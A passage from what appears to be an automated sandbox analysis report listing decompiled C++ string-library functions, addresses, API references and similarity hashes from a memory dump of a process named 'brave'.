				return 0 |  *((intOrPtr*)(_t165 + 0x140)) == 0x00000000;
			}

0x7ff6fc4cd76c
0x7ff6fc4cd773
0x7ff6fc4cd77b
0x7ff6fc4cd788
0x7ff6fc4cd78c
0x7ff6fc4cd7a1
0x7ff6fc4cd7a6
0x7ff6fc4cd7a8
0x7ff6fc4cd7ad
0x7ff6fc4cd7b7
0x7ff6fc4cd7b9
0x7ff6fc4cd7c5
0x7ff6fc4cd7c9
0x7ff6fc4cd7cb
0x7ff6fc4cd7d2
0x7ff6fc4cd7da
0x7ff6fc4cd7e3
0x7ff6fc4cd7e8
0x7ff6fc4cd7f2
0x7ff6fc4cd7f9
0x7ff6fc4cd7fd
0x7ff6fc4cd803
0x7ff6fc4cd807
0x7ff6fc4cd80b
0x7ff6fc4cd812
0x7ff6fc4cd815
0x7ff6fc4cd81c
0x7ff6fc4cd824
0x7ff6fc4cd82c
0x7ff6fc4cd83b
0x7ff6fc4cd84b
0x7ff6fc4cd850
0x7ff6fc4cd856
0x7ff6fc4cd872
0x7ff6fc4cd877
0x7ff6fc4cd87a
0x7ff6fc4cd87e
0x7ff6fc4cd883
0x7ff6fc4cd88b
0x7ff6fc4cd891
0x7ff6fc4cd898
0x7ff6fc4cd89e
0x7ff6fc4cd8a7
0x7ff6fc4cd8ab
0x7ff6fc4cd8b2
0x7ff6fc4cd8bb
0x7ff6fc4cd8bf
0x7ff6fc4cd8c3
0x7ff6fc4cd8c8
0x7ff6fc4cd8cc
0x7ff6fc4cd8d3
0x7ff6fc4cd8d9
0x7ff6fc4cd8e5
0x7ff6fc4cd8ee
0x7ff6fc4cd8f4
0x7ff6fc4cd904
0x7ff6fc4cd90c
0x7ff6fc4cd923
0x7ff6fc4cd929
0x7ff6fc4cd938
0x7ff6fc4cd93d
0x7ff6fc4cd940
0x7ff6fc4cd944
0x7ff6fc4cd94b
0x7ff6fc4cd954
0x7ff6fc4cd95a
0x7ff6fc4cd961
0x7ff6fc4cd96b
0x7ff6fc4cd972
0x7ff6fc4cd97d
0x7ff6fc4cd984
0x7ff6fc4cd98f
0x7ff6fc4cd99a
0x7ff6fc4cd9a5
0x7ff6fc4cd9b0
0x7ff6fc4cd9ba
0x7ff6fc4cd9c5
0x7ff6fc4cd9d0
0x7ff6fc4cd9db
0x7ff6fc4cd9e6
0x7ff6fc4cd9f1
0x7ff6fc4cda00
0x7ff6fc4cda02
0x7ff6fc4cda21
0x7ff6fc4cda2c
0x7ff6fc4cda31
0x7ff6fc4cda35
0x7ff6fc4cda39
0x7ff6fc4cda3f
0x7ff6fc4cda44
0x7ff6fc4cda4b
0x7ff6fc4cda59
0x7ff6fc4cda66
0x7ff6fc4cda78
0x7ff6fc4cda7f
0x7ff6fc4cda98
0x7ff6fc4cda9d
0x7ff6fc4cdac6

APIs

strlen.MSVCRT ref: 00007FF6FC4CD7E3
strlen.MSVCRT ref: 00007FF6FC4CD8C3
strlen.MSVCRT ref: 00007FF6FC4CD938

Strings

_GLOBAL_, xrefs: 00007FF6FC4CD797

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: strlen
String ID: _GLOBAL_
API String ID: 39653677-770460502
Opcode ID: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction ID: d8f5333b48dbffa83902e058485360ceaa90fc98719f93a4cf10498240bacc45
Opcode Fuzzy Hash: a980d7a97dd603dd885cedb4aa38cc9247ee4e0068a44f4649bb0ec17d10a106
Instruction Fuzzy Hash: 6BD1D132B086D689F764CB21A8143FE3BA1AB0579CF444035DA6D97BE9EF3C9649C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DD8C0 Relevance: 6.2, APIs: 4, Instructions: 243COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction ID: d55ab83737bb64b952a8a267fb1300e2f649f02def79b06228d747b63df1f19c
Opcode Fuzzy Hash: 2003478f90ec538c76f09482347ae3f7c76a6382b38b985e93f8e09ec77093db
Instruction Fuzzy Hash: 5E91A272E0825286EB699F29E1047796BA2BB04F9CF148171CE2D977C5EE3CEA41C750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DAD10 Relevance: 6.2, APIs: 4, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction ID: c38c9d8f95c7cb2f357817e392dd633dbaf11003c1a15a8c4676f3e8cb386df4
Opcode Fuzzy Hash: 3e6e5f4dbbebcdbe2464d60878269abd70efe3d9c16f3e99d452a50a930ed317
Instruction Fuzzy Hash: 8291C472E0825386E7659F29A1043397BA3AB04B9CF548235CE2C973C5EF3CEA01C761

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E9C50 Relevance: 6.2, APIs: 3, Strings: 1, Instructions: 192
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4E9C50(void* __eflags, long long* __rcx, signed char* __rdx, long long __r8) {
				long long _v32;
				signed int _t6;
				long long _t15;

				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				if (__eflags == 0) goto 0xfc4e9c75;
				if (__rdx == 0) goto 0xfc4e9ce4;
				_v32 = __r8;
				if (__r8 - 0xf > 0) goto 0xfc4e9cb0;
				if (__r8 != 1) goto 0xfc4e9ca0;
				_t6 =  *__rdx & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = __r8;
				 *((char*)(_t15 + __r8)) = 0;
				return _t6;
			}

0x7ff6fc4e9c5e
0x7ff6fc4e9c68
0x7ff6fc4e9c6e
0x7ff6fc4e9c73
0x7ff6fc4e9c75
0x7ff6fc4e9c7e
0x7ff6fc4e9c84
0x7ff6fc4e9c86
0x7ff6fc4e9c8b
0x7ff6fc4e9c8e
0x7ff6fc4e9c92
0x7ff6fc4e9c9e

Strings

basic_string::_M_construct null not valid, xrefs: 00007FF6FC4E9CE4, 00007FF6FC4E9D94, 00007FF6FC4E9E44

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: basic_string::_M_construct null not valid
API String ID: 0-3522614731
Opcode ID: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction ID: 4caac31ac0395b410ce5f7679aa28d958fb5208aac2fe35a709ba7e7638e0454
Opcode Fuzzy Hash: 14aa54d20c428766249a2dcfb27d26650a5f1dce7f3d40a69184aa0789750512
Instruction Fuzzy Hash: 7751D662A09A6181EB21EB25F4001B9B7A0EB59FD8F494531DEACC77D5EE3CD681C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E8FA0 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4E8FA0(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0xfc4e8fd2;
				r9d = 0;
				_t3 = E00007FF67FF6FC4E6C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff6fc4e8fa5
0x7ff6fc4e8fa8
0x7ff6fc4e8fb1
0x7ff6fc4e8fbc
0x7ff6fc4e8fc1
0x7ff6fc4e8fc4
0x7ff6fc4e8fc9
0x7ff6fc4e8fd1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E8FDC, 00007FF6FC4E903A, 00007FF6FC4E909A
basic_string::basic_string, xrefs: 00007FF6FC4E8FD5, 00007FF6FC4E9033, 00007FF6FC4E9093
basic_string::_S_construct null not valid, xrefs: 00007FF6FC4E912A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction ID: 89c9a45d167e6e03394c5b91df64c79e85046bd4d414851f82ef4ac82818ca3c
Opcode Fuzzy Hash: 7d89f8512e7e65814ec1fac360f2fa8d0805d6f994624814b77e8e40921412a7
Instruction Fuzzy Hash: 8A41D4A2F0664A81FF149B61F4543B963A1AF65BC8F448431DE2C8B3D6FE2CD695C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E8980 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 165
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4E8980(long long* __rcx, intOrPtr* __rdx, long long __r8, void* __r9) {
				void* _t3;
				long long* _t7;

				_t7 = __rcx;
				_t9 =  *__rdx;
				_t16 =  *((intOrPtr*)( *__rdx - 0x18));
				if (__r8 -  *((intOrPtr*)( *__rdx - 0x18)) > 0) goto 0xfc4e89b2;
				r9d = 0;
				_t3 = E00007FF67FF6FC4E6C20(__r8, _t9 + __r8, _t9 + _t16);
				 *_t7 = __r8;
				return _t3;
			}

0x7ff6fc4e8985
0x7ff6fc4e8988
0x7ff6fc4e8991
0x7ff6fc4e899c
0x7ff6fc4e89a1
0x7ff6fc4e89a4
0x7ff6fc4e89a9
0x7ff6fc4e89b1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E89BC, 00007FF6FC4E8A1A, 00007FF6FC4E8A7A
basic_string::basic_string, xrefs: 00007FF6FC4E89B5, 00007FF6FC4E8A13, 00007FF6FC4E8A73
basic_string::_S_construct null not valid, xrefs: 00007FF6FC4E8B0A

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_S_construct null not valid$basic_string::basic_string
API String ID: 0-1533248280
Opcode ID: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction ID: 2523e558fe99e5640060a8aae1646f836f12c09cd9a7cefa675f7e7c1915a0be
Opcode Fuzzy Hash: 7d8338a1e9edd29d1aec0803ef2ebf7c98187b021472197f0bb09db241f85474
Instruction Fuzzy Hash: E841C3A2F0664A81EF109B65F4543B967A1AF65BC8F444431DE2C8B3D6FE2CD695C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EC170 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF6FC4EC170(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0xfc4ec19a;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF67FF6FC4EAE20(_t5, _t6, __rcx, __rdx -  *__rcx,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff6fc4ec185
0x7ff6fc4ec187
0x7ff6fc4ec18c
0x7ff6fc4ec199

APIs

strlen.MSVCRT ref: 00007FF6FC4EC1D5

Part of subcall function 00007FF6FC4EAE20: memcpy.MSVCRT ref: 00007FF6FC4EAEC5
Part of subcall function 00007FF6FC4EAE20: memcpy.MSVCRT ref: 00007FF6FC4EAEF0

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4EC1A7, 00007FF6FC4EC20D, 00007FF6FC4EC24F, 00007FF6FC4EC293, 00007FF6FC4EC2F5, 00007FF6FC4EC30E, 00007FF6FC4EC353
basic_string::replace, xrefs: 00007FF6FC4EC1A0, 00007FF6FC4EC206, 00007FF6FC4EC248, 00007FF6FC4EC28C, 00007FF6FC4EC307
basic_string::insert, xrefs: 00007FF6FC4EC2EE, 00007FF6FC4EC34C

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 2619041689-3628603605
Opcode ID: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction ID: d37192b346d7966983d337df136933dd4288e1b83eddbdc5027f73c5190832b6
Opcode Fuzzy Hash: acf8db3c17e877630cf77c62e067198b43ffa339475565046a16a17aaf7fc19b
Instruction Fuzzy Hash: 5941D262E0968A81EB40DBA6F8414A96360FF55BCCF814536ED1DA3791FE2CD746CB00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EF340 Relevance: 6.2, APIs: 1, Strings: 3, Instructions: 161
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E00007FF67FF6FC4EF340(intOrPtr* __rcx, void* __rdx, intOrPtr* __r8) {
				long long _v24;
				void* _t5;
				void* _t6;

				if (__rdx -  *__rcx >> 1 -  *((intOrPtr*)(__rcx + 8)) > 0) goto 0xfc4ef36d;
				_v24 =  *((intOrPtr*)(__r8 + 8));
				r8d = 0;
				return E00007FF67FF6FC4EDEF0(_t5, _t6, __rcx, __rdx -  *__rcx >> 1,  *((intOrPtr*)(__r8 + 8)),  *__r8);
			}

0x7ff6fc4ef358
0x7ff6fc4ef35a
0x7ff6fc4ef35f
0x7ff6fc4ef36c

APIs

wcslen.MSVCRT ref: 00007FF6FC4EF3A5

Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDF96
Part of subcall function 00007FF6FC4EDEF0: memcpy.MSVCRT ref: 00007FF6FC4EDFC1

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4EF37A, 00007FF6FC4EF3DD, 00007FF6FC4EF41F, 00007FF6FC4EF463, 00007FF6FC4EF4C3, 00007FF6FC4EF4DC, 00007FF6FC4EF523
basic_string::replace, xrefs: 00007FF6FC4EF373, 00007FF6FC4EF3D6, 00007FF6FC4EF418, 00007FF6FC4EF45C, 00007FF6FC4EF4D5
basic_string::insert, xrefs: 00007FF6FC4EF4BC, 00007FF6FC4EF51C

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy$wcslen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::insert$basic_string::replace
API String ID: 1844840824-3628603605
Opcode ID: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction ID: 574a4602d832b93d60e1c368a179321eda1b1438857135bf7d1a0ea8c110b6b8
Opcode Fuzzy Hash: 7f7506947e0cdf472993f0743dd8d0f22e204ef2ca206140b47516d04f83e820
Instruction Fuzzy Hash: 2741B3A2A09A8A81EB04EB69F8414B96361FF95BCCB804036DD6C937D6FE2CD355C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EEEA0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 140COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6FC4EEF05
memcpy.MSVCRT ref: 00007FF6FC4EEFDA

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4EEF64
basic_string::append, xrefs: 00007FF6FC4EEF5D, 00007FF6FC4EF039

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction ID: b2c99b96c267cb017ec5d431c59616c066994a54f7ea799cbcd6c97027416d71
Opcode Fuzzy Hash: fe7fef964f37f1dd9b1a180919c66d0ec6042240d860377790e12c591085c9ce
Instruction Fuzzy Hash: 5941D3A2B19A5591EB10DB69E4045BC6360FB85BC8B964532EE6D833E1FF7CE741C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4EBCF0 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 133COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 00007FF6FC4EBD55
memcpy.MSVCRT ref: 00007FF6FC4EBE27

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4EBDB9
basic_string::append, xrefs: 00007FF6FC4EBDB2, 00007FF6FC4EBE7C

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::append
API String ID: 3510742995-4063909124
Opcode ID: 9553ad4b2fb8957eda4529e061e9a93a6dd067d7bb1be6d681d056781aa60a57
